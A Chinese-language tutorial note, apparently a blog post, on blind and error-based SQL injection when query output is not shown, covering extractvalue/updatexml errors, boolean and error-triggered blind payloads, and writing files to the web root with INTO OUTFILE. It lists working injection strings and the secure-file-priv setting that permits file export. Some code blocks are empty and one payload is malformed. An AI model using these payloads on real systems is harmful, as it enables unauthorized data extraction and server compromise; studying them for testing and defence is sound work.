上一篇是SQL语句执行结果有回显的情况,本篇为无回显的情况下的一些利用技巧。
在SQL语句执行结果不回显的情况下,有三种情况:
数据库会回显详细报错信息,使用报错注入。
数据库只回显通用报错信息,使用基于数据库错误的盲注。
数据库不回显任何信息,使用基于时间的盲注。
报错注入
- 如果数据库报错会回显到前端,可以通过触发报错来获取到需要的数据。
双查询注入
1 |
|
- 50%的触发概率
extractvalue()
1 |
|
- extractvalue()查询得到字符串的最大长度为32,如果长度超过32,用substring()函数截取。
updatexml()
- 与extractvalue类似
盲注
基于逻辑真假不同结果来获取信息
- 1‘ and 1=1 –
- 1’ and 1=2 –
- 1’ and ORD(MID(VERSION(),2,1))&32>0
- VERSION的第二位的ASCII码的二进制第3位>0
- ORD()函数返回字符串第一个字符的ASCII值
- MID函数类似于mssql和oracle中的substr
- 1‘ and ascii(version(),1,1))=65 –
- VERSION的第一位的ascii码为65
- current_user()、database()
基于数据库错误获取信息
- select 1/0 from dual where(select username from all_users where username=’dbsnmp’)=’dbsnmp’
- 如果用户dbsnmp存在,则会计算1/0,数据库会发生错误
- select 1 where <<condition>> or 1/0 =0
- select ename,job form emp where deptno=? order by? desc
- select ename,job from emp where deptno=? order by (select 1/0 from dual where (select substr(max(object_name),1,1) from user_objects)=’Y’) desc
outfile
如果不回显报错,也不回显数据,但知道页面的绝对路径,可以使用。
!注意
- 需要数据库的用户具有选定目录的写入权限
- mysql配置文件my.ini中加入一行
secure-file-priv=""
- 用来限制load data,select … into outfile, load_file()穿到哪个指定目录。
- 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
select xxx into outfile ‘文件路径’,放在web服务器下,可以通过web访问。